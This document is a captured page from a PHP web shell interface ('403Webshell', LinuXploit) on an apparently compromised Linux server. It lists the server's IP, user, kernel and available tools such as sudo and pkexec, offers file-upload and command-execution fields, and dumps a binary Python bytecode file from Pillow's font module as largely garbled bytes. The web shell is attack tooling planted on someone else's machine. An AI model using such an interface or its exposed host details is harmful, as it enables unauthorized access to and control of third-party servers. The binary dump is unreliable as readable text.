403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /tmp/calpy/PIL/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tmp/calpy/PIL/__pycache__/PcfFontFile.cpython-311.pyc
�

Υ=jH���UddlmZddlZddlmZmZddlmZddlmZ	ddlm
ZddlmZ
dd	lmZd
ZerddlmZddlmZd
ZdZdZdZdZdZdZdZdZdZd�d�d�d�gZde d<d$d!�Z!Gd"�d#ej��Z"dS)%�)�annotationsN�)�FontFile�Image)�i8)�i16be)�i16le)�i32be)�i32leF)�Callable)�BinaryIOifcp����� �@��c��|dzdz	S)N�����bitss �B/tmp/claude-1015/pip-target-jmvfl800/lib/python/PIL/PcfFontFile.py�<lambda>r2s��4�!�8��/��c��|dzdz	dzS)N�r���rrs rrr3���4�"�9��"�b�(�rc��|dzdz	dzS)N�r���rrs rrr4r"rc��|dzdz	dzS)N�?ri����rrs rrr5r"rzlist[Callable[[int], int]]�
BYTES_PER_ROW�s�bytes�o�int�returnc�>�|||�d|���S)N�)�index)r)r+s  r�szr19s ���Q������"�"�
"�#�#rc�R��eZdZdZdZdd�fd�
Zdd
�Zdd�Zdd�Zdd�Z	dd�Z
�xZS)�PcfFontFilez(Font file plugin for the X11 PCF format.�name�	iso8859-1�fpr
�charset_encoding�strc	���||_t|�d����}|tkrd}t	|���t�����t|�d����}i|_t|��D]�}t|�d����}t|�d����t|�d����t|�d����f|j|<��||_	|�
��|_|���}|�
|��}	|���}
t|
��D]<\}}|�5||\}
}}}}}}}|df|||z
|
|z|fdd|
|f|	|f|j|<�=dS)Nrznot a PCF filer)r7�l32�read�	PCF_MAGIC�SyntaxError�super�__init__�toc�ranger6�_load_properties�info�
_load_metrics�
_load_bitmaps�_load_encoding�	enumerate�glyph)�selfr6r7�magic�msg�count�i�type�metrics�bitmaps�encoding�ch�ix�xsize�ysize�left�right�width�ascent�descent�
attributes�	__class__s                     �rr?zPcfFontFile.__init__Bs���� 0����B�G�G�A�J�J�����I���"�C��c�"�"�"�
���������B�G�G�A�J�J��������u���	O�	O�A��r�w�w�q�z�z�?�?�D� �������_�_�c�"�'�'�!�*�*�o�o�s�2�7�7�1�:�:���N�D�H�T�N�N�����)�)�+�+��	��$�$�&�&���$�$�W�-�-���&�&�(�(��
 ��)�)�	�	�F�B���~��B�K�	����������A�J��7�U�?�E�D�L�'�B���5�%�(��B�K�	"��
�2���	�	r�tagr,r-�Dtuple[BinaryIO, int, Callable[[bytes], int], Callable[[bytes], int]]c���|j|\}}}|j}|�|��t|�d����}|dzrt
t}}ntt}}||||fS)Nr)r@r6�seekr:r;�b16�b32�l16)rIr]�format�size�offsetr6�i16�i32s        r�
_getformatzPcfFontFile._getformatpsp�� $�x��}����f�
�W��
��������R�W�W�Q�Z�Z�����A�:�	 ��C��C�C��C��C��6�3��#�#r�dict[bytes, bytes | int]c�����i}|�t��\�}}����d����}��fd�t|��D��}|dzr&��d|dzz
t
j�������d������}|D]-\}}}	|rt||	��n|	}
|
|t||��<�.|S)Nrc	����g|]_}���d����t��d�������d����f��`S)rr)r;r��.0�_r6rhs  ��r�
<listcomp>z0PcfFontFile._load_properties.<locals>.<listcomp>�sT���W�W�W�A�c�c�"�'�'�!�*�*�o�o�r�"�'�'�!�*�*�~�~�s�s�2�7�7�1�:�:���
?�W�W�Wrr)ri�PCF_PROPERTIESr;rAr`�io�SEEK_CURr1)
rI�
propertiesrdrg�nprops�p�data�kr)�v�property_valuer6rhs
           @@rrBzPcfFontFile._load_properties�s������
�#���~�>�>���F�C����R�W�W�Q�Z�Z����
X�W�W�W�W��v���W�W�W���A�:�	3��G�G�A��!��$�b�k�2�2�2��w�w�s�s�2�7�7�1�:�:���'�'���	5�	5�G�A�q�!�9:�*A�"�T�1�+�+�+��N�&4�J�r�$��{�{�#�#��r�3list[tuple[int, int, int, int, int, int, int, int]]c�r�g}|�t��\}}}}|j}|dzdk�rt||�d������D]�}t|�d����dz
}t|�d����dz
}	t|�d����dz
}
t|�d����dz
}t|�d����dz
}|	|z
}
||z}||
|||	|
||df����n�t||�d������D]�}||�d����}||�d����}	||�d����}
||�d����}||�d����}||�d����}|	|z
}
||z}||
|||	|
|||f����|S)Ni�rrrrrr)ri�PCF_METRICS�appendrAr;r)rIrOr6rdrgrhr~rMrVrWrXrYrZrTrUr[s                rrDzPcfFontFile._load_metrics�s��HJ��#���{�;�;���F�C������V�O��%�%��3�3�r�w�w�q�z�z�?�?�+�+�
O�
O���"�'�'�!�*�*�~�~��+���2�7�7�1�:�:����,���2�7�7�1�:�:����,���B�G�G�A�J�J���#�-���R�W�W�Q�Z�Z�.�.�3�.��������(�����u�d�E�5�&�'�1�M�N�N�N�N�
O��3�3�r�w�w�q�z�z�?�?�+�+�	
X�	
X���s�2�7�7�1�:�:������B�G�G�A�J�J������B�G�G�A�J�J������R�W�W�Q�Z�Z�����#�b�g�g�a�j�j�/�/�� �S�������_�_�
�������(�����u�d�E�5�&�'�:�V�W�W�W�W��rrO�list[Image.Image]c
�����|�t��\�}}����d����}|t|��krd}t	|�����fd�t|��D��}��fd�td��D��}|dz}|dz}	||	}
|�|
����|
��}t|	}d}
|rd}
g}t|��D]d}||dd	�\}}|||d	z�\}}|�tj	d||f|||�d
|
||�������e|S)NrzWrong number of bitmapsc�L��g|] }���d������!S�r�r;rms  ��rrpz-PcfFontFile._load_bitmaps.<locals>.<listcomp>�s+���<�<�<�q�3�3�r�w�w�q�z�z�?�?�<�<�<rc�L��g|] }���d������!Sr�r�rms  ��rrpz-PcfFontFile._load_bitmaps.<locals>.<listcomp>�s+���:�:�:�A���B�G�G�A�J�J���:�:�:rrrz1;R�1r�raw)
ri�PCF_BITMAPSr;�len�OSErrorrAr~r(r�	frombytes)rIrOrdrg�nbitmapsrK�offsets�bitmap_sizes�bitorder�padindex�
bitmapsizerw�pad�moderPrMrTrU�b�er6rhs                    @@rrEzPcfFontFile._load_bitmaps�s����� $���{�;�;���F�C���3�r�w�w�q�z�z�?�?���s�7�|�|�#�#�+�C��#�,�,��<�<�<�<�<�E�(�O�O�<�<�<��:�:�:�:�:��q���:�:�:���A�:���A�:��!�(�+�
����z�"�"�"��w�w�z�"�"���H�%�����	��D����x���	�	�A�"�1�:�b�q�b�>�L�E�5��1�q�1�u�9�%�D�A�q��N�N����e�U�^�T�!�A�#�Y��t�S�S�QV�Z�Z�X�X�
�
�
�
��r�list[int | None]c����
�|�t��\�}�
}�
��d�����
��d����}}�
��d�����
��d����}}�
��d����||z
dz||z
dzz}dgtd|��z}��
fd�t	|��D��}	t	|t|����D]Y}
	|	t
t|
g���|j	����}|dkr|||
<�J#t$rY�VwxYw|S)Nrrrc�L��g|] }���d������!S)rr�)rnror6rgs  ��rrpz.PcfFontFile._load_encoding.<locals>.<listcomp>�s+���F�F�F��C�C�����
�
�O�O�F�F�Fri��)ri�PCF_BDF_ENCODINGSr;�minrAr��ord�	bytearray�decoder7�UnicodeDecodeError)rIrdrh�	first_col�last_col�	first_row�last_row�	nencodingrQ�encoding_offsetsrM�encoding_offsetr6rgs            @@rrFzPcfFontFile._load_encoding�s{����#���/@�A�A���F�C��!�c�"�'�'�!�*�*�o�o�s�s�2�7�7�1�:�:���8�	�!�c�"�'�'�!�*�*�o�o�s�s�2�7�7�1�:�:���8�	���B�G�G�A�J�J�����	�)�A�-�(�Y�2F��2J�K�	�'+�V�c�#�y�.A�.A�%A��F�F�F�F�F�U�9�5E�5E�F�F�F���y�#�h�-�-�0�0�		�		�A�
�"2��	�1�#���-�-�d�.C�D�D�E�E�#��#�f�,�,�"1�H�Q�K���%�
�
�
���
�����s�AE � 
E-�,E-)r5)r6r
r7r8)r]r,r-r^)r-rj)r-r{)rOr{r-r)r-r�)�__name__�
__module__�__qualname__�__doc__r4r?rirBrDrErF�
__classcell__)r\s@rr3r3=s��������2�2��D�,�,�,�,�,�,�,�\$�$�$�$�"����0#�#�#�#�J(�(�(�(�T�������rr3)r)r*r+r,r-r*)#�
__future__rrr�rr�_binaryrrrar	rcr
rbrr:�
TYPE_CHECKING�collections.abcr�typingr
r<rq�PCF_ACCELERATORSr}r��PCF_INK_METRICSr��PCF_SWIDTHS�PCF_GLYPH_NAMES�PCF_BDF_ACCELERATORSr(�__annotations__r1r3rrr�<module>r�s���$#�"�"�"�"�"�"�	�	�	�	���������������!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!��
�� �(�(�(�(�(�(�������

�	�������������������#�"�(�(�(�(�(�(�	-�
�����$�$�$�$�E�E�E�E�E�(�#�E�E�E�E�Er

Youez - 2016 - github.com/yon3zu
LinuXploit